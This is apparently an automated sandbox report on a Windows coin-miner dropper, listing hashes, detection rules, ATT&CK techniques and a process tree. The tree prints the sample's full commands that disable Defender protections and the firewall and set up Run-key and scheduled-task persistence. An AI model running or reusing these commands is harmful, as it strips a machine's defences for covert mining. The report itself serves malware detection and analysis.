xmrig | 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 00:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
Size 16.4MB
Sample260724-a2vejaytez
SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
MD5 e52974f2620f598ded1e48bcf2620e8f
SHA1 894abf71208b93d1713736ef090e6f483b63e227
SHA512 bfb64531138c1b3f93f955e1ffed693da234470257022d8c39ca6b009aca1be92052a76e424613ee08dd022b930d822a91580396519b690aabf5f85681c3a2ea
SSDEEP 196608:TteffkoyMpsqS2Xv42VKzYz6Z4qSndf3D+TU3AKKzShEeomlA0hE4U:ufaMVKgKzYz6iqUdPaKK8omlA0hE4U
TLSH
T10F078C1BF65109EDC46BC53981B6252BF231B689A3205BEB1F640E3A5F237D04F6BB14
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence privilege_escalation trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	SecurityHealthHost.exe

XMRig Miner payload 22 IoCs

miner

resource	yara_rule
behavioral2/memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	xmrig
behavioral2/files/0x000d00000001c4ae-44.dat	family_xmrig
behavioral2/files/0x000d00000001c4ae-44.dat	xmrig
behavioral2/memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	xmrig
behavioral2/memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp	xmrig
behavioral2/memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp	xmrig
behavioral2/memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp	xmrig
behavioral2/memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/files/0x000d00000001c4ba-98.dat	family_xmrig
behavioral2/files/0x000d00000001c4ba-98.dat	xmrig
behavioral2/memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig
behavioral2/memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	xmrig

Detects executables containing artifacts associated with disabling Widnows Defender 19 IoCs

resource	yara_rule
behavioral2/memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/files/0x000d00000001c4ae-44.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 19 IoCs

resource	yara_rule
behavioral2/memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000d00000001c4ae-44.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 19 IoCs

resource	yara_rule
behavioral2/memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c4ae-44.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1112	powershell.exe
5340	powershell.exe
4232	powershell.exe
3624	powershell.exe
4232	powershell.exe
1112	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1360	netsh.exe
5280	netsh.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 6 IoCs

pid	Process
5872	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
5536	UpdateHealthTools.exe
2452	DiagnosticsHost.exe
4756	SecurityHealthSystray.exe
2724	wermgr.exe

Windows security modification 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	SecurityHealthHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	SecurityHealthHost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostSvc = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\SecurityHealthHost.exe\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostSvc = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\SecurityHealthHost.exe\""	reg.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5788	cmd.exe
2820	cmd.exe
5848	cmd.exe
5036	cmd.exe
1032	cmd.exe
6112	cmd.exe
4648	cmd.exe
4676	cmd.exe
5252	cmd.exe
5388	cmd.exe
3196	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
572	timeout.exe

Detects videocard installed 1 TTPs 10 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1620	wmic.exe
1920	wmic.exe
992	wmic.exe
3044	wmic.exe
4572	wmic.exe
3120	wmic.exe
4304	wmic.exe
4452	wmic.exe
5964	wmic.exe
3240	wmic.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5348	reg.exe
3592	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5040	schtasks.exe
3156	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe
3624	powershell.exe
3624	powershell.exe
1112	powershell.exe
1112	powershell.exe
1112	powershell.exe
5340	powershell.exe
5340	powershell.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
4452	wmic.exe
4452	wmic.exe
4452	wmic.exe
4452	wmic.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
2348	SecurityHealthHost.exe
1620	wmic.exe
1620	wmic.exe
1620	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe
Token: 36	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe
Token: 36	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe
Token: 36	4232	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2724	wermgr.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 4232	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	89
PID 1968 wrote to memory of 3624	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	92
PID 3624 wrote to memory of 1360	3624	powershell.exe	94
PID 1968 wrote to memory of 5348	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	95
PID 1968 wrote to memory of 5040	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	97
PID 1968 wrote to memory of 2348	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	101
PID 1968 wrote to memory of 5788	1968	2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe	102
PID 2348 wrote to memory of 1112	2348	SecurityHealthHost.exe	104
PID 5788 wrote to memory of 572	5788	cmd.exe	106
PID 2348 wrote to memory of 5340	2348	SecurityHealthHost.exe	108
PID 5340 wrote to memory of 5280	5340	powershell.exe	110
PID 2348 wrote to memory of 3592	2348	SecurityHealthHost.exe	111
PID 2348 wrote to memory of 3156	2348	SecurityHealthHost.exe	113
PID 2348 wrote to memory of 5536	2348	SecurityHealthHost.exe	115
PID 2348 wrote to memory of 2452	2348	SecurityHealthHost.exe	116
PID 2348 wrote to memory of 4756	2348	SecurityHealthHost.exe	117
PID 2348 wrote to memory of 2820	2348	SecurityHealthHost.exe	118
PID 2348 wrote to memory of 4452	2348	SecurityHealthHost.exe	120
PID 2348 wrote to memory of 5848	2348	SecurityHealthHost.exe	123
PID 2348 wrote to memory of 1620	2348	SecurityHealthHost.exe	125
PID 2348 wrote to memory of 5252	2348	SecurityHealthHost.exe	127
PID 2348 wrote to memory of 1920	2348	SecurityHealthHost.exe	129
PID 2348 wrote to memory of 5036	2348	SecurityHealthHost.exe	131
PID 2348 wrote to memory of 992	2348	SecurityHealthHost.exe	133
PID 2348 wrote to memory of 2724	2348	SecurityHealthHost.exe	135
PID 2348 wrote to memory of 5388	2348	SecurityHealthHost.exe	137
PID 2348 wrote to memory of 3044	2348	SecurityHealthHost.exe	139
PID 2348 wrote to memory of 3196	2348	SecurityHealthHost.exe	141
PID 2348 wrote to memory of 4572	2348	SecurityHealthHost.exe	143
PID 2348 wrote to memory of 1032	2348	SecurityHealthHost.exe	145
PID 2348 wrote to memory of 3120	2348	SecurityHealthHost.exe	147
PID 2348 wrote to memory of 6112	2348	SecurityHealthHost.exe	149
PID 2348 wrote to memory of 5964	2348	SecurityHealthHost.exe	151
PID 2348 wrote to memory of 4648	2348	SecurityHealthHost.exe	153
PID 2348 wrote to memory of 4304	2348	SecurityHealthHost.exe	155
PID 2348 wrote to memory of 4676	2348	SecurityHealthHost.exe	157
PID 2348 wrote to memory of 3240	2348	SecurityHealthHost.exe	159

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe"
1⤵
- Windows security bypass
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'DiagnosticsHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1360
- C:\Windows\system32\reg.exe
  "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5348
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /RL HIGHEST /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5040
- C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
  "C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe"
  2⤵
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'DiagnosticsHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
